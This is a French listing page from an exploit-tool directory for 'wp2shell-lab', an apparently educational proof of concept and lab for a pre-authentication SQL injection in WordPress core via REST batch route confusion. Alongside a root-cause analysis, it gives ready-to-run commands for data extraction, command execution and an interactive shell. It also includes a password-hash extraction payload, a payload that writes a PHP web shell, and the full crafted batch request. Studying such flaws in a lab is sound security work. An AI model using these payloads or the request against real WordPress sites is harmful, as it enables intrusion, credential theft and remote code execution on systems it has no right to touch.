Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
wp2shell-lab — PoC pédagogique + laboratoire pour CVE-2026-63030 + CVE-2026-60137 : SQLi avant authentification dans le noyau de WordPress via confusion de routes par lots REST | Kitploit
Outils/GitHubGitHub/47cid/wp2shell-lab
Analyse StatiqueAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHub47cid/wp2shell-lab
14234il y a 2 moisPas encore vérifié

wp2shell-lab

PoC pédagogique + laboratoire pour CVE-2026-63030 + CVE-2026-60137 : SQLi avant authentification dans le noyau de WordPress via confusion de routes par lots REST

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

wp2shell-lab

PoC éducatif et laboratoire pour CVE-2026-63030 + CVE-2026-60137 : injection SQL pré-authentification dans le cœur de WordPress via une confusion de route du batch REST.

Découvert par Adam Kues (Searchlight Cyber / Assetnote). Corrigé dans WordPress 6.9.5 / 7.0.2.

Démarrage rapide

# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..

# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # interactive shell

# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# tear down
cd docker && ./setup.sh down

Analyse technique

Étape 1 : le endpoint batch n'est pas authentifié

POST /wp-json/batch/v1 regroupe plusieurs appels d'API REST dans une seule requête HTTP. Il ne possède aucun contrôle d'authentification propre. La sécurité est déléguée au callback de permission de chaque sous-requête.

Étape 2 : la désynchronisation

serve_batch_request_v1() construit deux tableaux parallèles :

  • $matches[] suit quel handler doit dispatcher chaque sous-requête
  • $validation[] suit si chaque sous-requête a réussi la validation

Il indexe les deux par le même offset lors du dispatch. Le bug : lorsque le chemin d'une sous-requête échoue à wp_parse_url(), un WP_Error est poussé dans $validation mais pas dans $matches. Cela décale $matches d'un cran, de sorte que chaque sous-requête suivante est dispatchée vers le mauvais handler.

Étape 3 : double imbrication

La désynchronisation est utilisée deux fois.

Batch externe. Une requête /wp/v2/posts portant un batch interne dans son corps est dispatchée sous le handler batch (auto-appel). Elle a été validée comme une requête posts, donc le tableau requests interne n'a jamais été vérifié par rapport au schéma du batch. Cela contourne la liste blanche des méthodes et permet aux sous-requêtes internes d'utiliser GET.

Batch interne. Une requête /wp/v2/categories?author_exclude=<SQLI> est dispatchée sous get_items() des posts. Le schéma des catégories ne définit pas author_exclude, elle passe donc la validation sans modification. Mais get_items() des posts la mappe vers WP_Query::author__not_in, où la valeur est interpolée brute dans le SQL.

Étape 4 : l'injection SQL

Le code vulnérable de WP_Query ne nettoyait author__not_in que lorsqu'il s'agissait déjà d'un tableau :

// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // raw interpolation

Une valeur de type chaîne contourne entièrement le contrôle is_array(). Le cast (array) l'enveloppe sans la nettoyer.

Étape 5 : ce que vous pouvez en faire

Lire la base de données (tous les sites affectés) :

author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

Oracle booléen : posts renvoyés = vrai, réponse vide = faux. Recherche binaire par caractère.

Écrire des fichiers (nécessite le privilège MySQL FILE, qui n'est pas celui par défaut de WordPress) :

author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

La désynchronisation du batch

La requête HTTP réelle :

{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

Comment les tableaux se désalignent :

serve_batch_request_v1() traite les sous-requêtes en deux boucles. La première boucle valide chaque sous-requête et construit $matches[] et $validation[]. La deuxième boucle dispatche chaque sous-requête en utilisant $matches[$i] comme handler. Comme l'erreur de la requête d'amorçage est absente de $matches, la deuxième boucle associe chaque requête au mauvais handler.

POST /?rest_route=/batch/v1  (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"          -> wp_parse_url fails              |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 error skipped in $matches                    |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /posts  uses $matches[1] = batch_handler        |
|         -> posts body executed as a nested batch             |
|    i=2: POST /batch  uses $matches[2] = out of bounds        |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"            -> wp_parse_url fails            |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /categories uses $matches[1] = posts_handler    |
|         -> categories request handled by posts get_items()   |
|         -> author_exclude not in cats schema, unsanitized    |
|         -> posts maps it to WP_Query::author__not_in         |
|         -> SQL INJECTION                                     |
|                                                              |
+--------------------------------------------------------------+

Extraction rapide via l'oracle par masque binaire X-WP-Total

Les PoC existants utilisent l'extraction booléenne aveugle : 1 bit par requête HTTP, environ 224 requêtes pour un hash de mot de passe. Ce dépôt combine deux techniques pour une extraction ~75x plus rapide.

Télécharger l’outil